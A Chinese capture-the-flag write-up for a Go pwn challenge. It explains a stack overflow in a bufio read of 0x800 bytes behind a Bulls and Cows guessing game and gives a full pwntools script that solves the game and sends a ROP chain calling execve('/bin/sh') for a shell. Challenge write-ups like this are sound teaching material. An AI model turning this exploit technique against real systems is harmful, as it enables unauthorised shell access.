一个golang
的题,难点在逆向,需要配合一定的调试才能把流程搞清楚(我一开始没有查Bulls and Cows
,于是把整个猜数游戏的规则也逆了一遍,其实百度一下这个游戏的流程,都不需要逆......)。
游戏规则我这里就不多说了,可自行百度,百度百科里也都有。
至于这题的漏洞,可以很容易猜测到是个溢出类的漏洞,于是对其中的读入函数进行交叉引用,就可以发现这里存在一个栈溢出:
.text:0000000000494AF6 lea rbx, [rsp+4C0h+var_460]
.text:0000000000494AFB mov rax, qword ptr cs:unk_5514E0
.text:0000000000494B02 mov ecx, 800h
.text:0000000000494B07 mov rdi, rcx
.text:0000000000494B0A call bufio__ptr_Reader_Read
其中,rbx
是地址,rcx
是长度,这里的0x800
很显然会栈溢出。
顺便提一下,golang
是比较安全的,它会先读入一定数据,然后把数据根据size
拷贝给对应地址,所以只要size
不出什么问题,基本不会存在溢出的。
我们要走到这个漏洞点,就需要先打通前面的Bulls and Cows
猜数游戏,在之后给的菜单中选择Exit
,然后读入一串rop
链,走execve()
来getshell
即可。
我这里对Bulls and Cows
猜数游戏写了个自动化脚本,没有什么优化,成功率不是很高,但是写起来比较容易,不需要动什么脑子。
我的思路也很傻逼,就先读入几组A A A B
形式,把是哪四个数字给先确定下来,比如先猜0 0 0 1
,根据返回信息,就有如下的对应关系:
0A0B 没有0/1
0A1B 有1
0A2B 有0&1
1A0B 有1
1A1B 有0
1A2B 有0&1
2A1B 有0&1
然后对每一个数字挨个爆破它的位置,显然,在还有n
个位置没确定的情况下,最多爆破n-1
次即可确定这个数的位置。
用我这种傻逼的思路,最多需要5 + 3 + 2 + 1 + 1 = 12
次机会才能成功,最少需要2 + 1 + 1 + 1 + 1 = 6
次机会,而这题给了7
次尝试机会,所以成功率并不是很高,但是跑个五分钟左右还是能打通的。
附件下载地址
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = process('./pwn')
# io = remote("120.25.148.180", 29561)
elf = ELF('./pwn')
def judge_cnt(k):
if k == 7 :
return 1
return 0
if __name__ == '__main__':
io.sendline(str(0x54749110))
# gdb.attach(io, 'b *0x491ea1')
while 1 :
cnt = 0
num_list = []
io.recvuntil("GUESS\n")
while 1 :
x = 2*cnt
y = 2*cnt+1
io.sendline(F"{x} {x} {x} {y}")
sleep(0.1)
cnt = cnt + 1
res = io.recvline(keepends = False)
if res == b"0A0B" :
pass
elif res == b"0A1B" :
num_list.append(y)
elif res == b"0A2B" :
num_list.append(x)
num_list.append(y)
elif res == b"1A0B" :
num_list.append(y)
elif res == b"1A1B" :
num_list.append(x)
elif res == b"1A2B" :
num_list.append(x)
num_list.append(y)
elif res == b"2A1B" :
num_list.append(x)
num_list.append(y)
if len(num_list) == 4 :
break
info(str(num_list[0]))
info(str(num_list[1]))
info(str(num_list[2]))
info(str(num_list[3]))
idx = -1
pos = [-1, -1, -1, -1]
while 1 :
idx = idx + 1
if idx == 4 :
break
x = num_list[idx]
times = 0
if times == (3 - idx) :
for i in range(0, 4):
if pos[i] == -1 :
pos[i] = idx
break
continue
if pos[0] == -1 :
io.sendline(F"{x} -1 -1 -1")
sleep(0.1)
times = times + 1
cnt = cnt + 1
if judge_cnt(cnt) :
break
res = io.recvline(keepends = False)
if res == b"1A0B" :
pos[0] = idx
continue
if times == (3 - idx) :
for i in range(1, 4):
if pos[i] == -1 :
pos[i] = idx
break
continue
if pos[1] == -1 :
io.sendline(F"-1 {x} -1 -1")
sleep(0.1)
times = times + 1
cnt = cnt + 1
if judge_cnt(cnt) :
break
res = io.recvline(keepends = False)
if res == b"1A0B" :
pos[1] = idx
continue
if times == (3 - idx) :
for i in range(2, 4):
if pos[i] == -1 :
pos[i] = idx
break
continue
if pos[2] == -1 :
io.sendline(F"-1 -1 {x} -1")
sleep(0.1)
times = times + 1
cnt = cnt + 1
if judge_cnt(cnt) :
break
res = io.recvline(keepends = False)
if res == b"1A0B" :
pos[2] = idx
continue
if times == (3 - idx) :
for i in range(3, 4):
if pos[i] == -1 :
pos[i] = idx
break
res = io.recv(timeout = 0.5)
if b"TRY AGAIN?" in res :
# pause()
io.sendline(b'Y')
continue
io.sendline(F"{num_list[pos[0]]} {num_list[pos[1]]} {num_list[pos[2]]} {num_list[pos[3]]}")
# WIN
res = io.recvline()
if b"WIN" in res :
success("Win!")
else :
info("Wrong?")
# pause()
break
io.sendlineafter("EXIT?\n", b'E')
io.sendlineafter("(4) EXIT\n", b'4')
# gdb.attach(io, 'b *0x494B0F')
pop_rdx_ret = 0x48546c
pop_rax_ret = 0x405b78
pop_rsi_ret = 0x41c41c
syscall_ret = 0x45c849
pop_rcx_ret = 0x44dbe3
mov_val_rax_rcx_ret = 0x42b353 # mov qword ptr [rax], rcx; ret;
xchg_rax_r9_ret = 0x45b367
mov_rdi_r9 = 0x410d24 # mov rdi, r9; mov rbp, qword ptr [rsp + 0x10]; add rsp, 0x18; ret;
# gdb.attach(io, 'b *0x405b78')
payload = b'a'*0x460
payload += p64(pop_rax_ret)
payload += p64(elf.bss())
payload += p64(pop_rcx_ret)
payload += p64(0x68732f6e69622f)
payload += p64(mov_val_rax_rcx_ret)
payload += p64(xchg_rax_r9_ret)
payload += p64(mov_rdi_r9)
payload += p64(0)*3
payload += p64(pop_rax_ret)
payload += p64(0x3b)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(syscall_ret)
io.sendlineafter("SURE?\n", payload)
io.interactive()